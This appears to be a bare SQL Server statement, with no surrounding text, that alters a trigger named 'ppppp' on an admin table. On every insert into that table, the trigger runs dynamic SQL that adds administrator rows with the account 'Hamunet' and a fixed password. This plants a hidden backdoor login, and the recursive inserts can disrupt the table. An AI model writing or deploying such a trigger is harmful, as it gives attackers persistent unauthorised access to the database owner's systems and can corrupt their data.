ALTER TRIGGER [dbo].[ppppp] ON [dbo].[tbl_admin] for INSERT AS declare @n int declare @sql varchar(1000) set @n=0 while @n<2 begin Set @Sql='Insert into tbl_admin (account,password,dept) Values(''Hamunet'',''SianChina'',''123456789123'')' Exec (@Sql) set @n=@n+1 end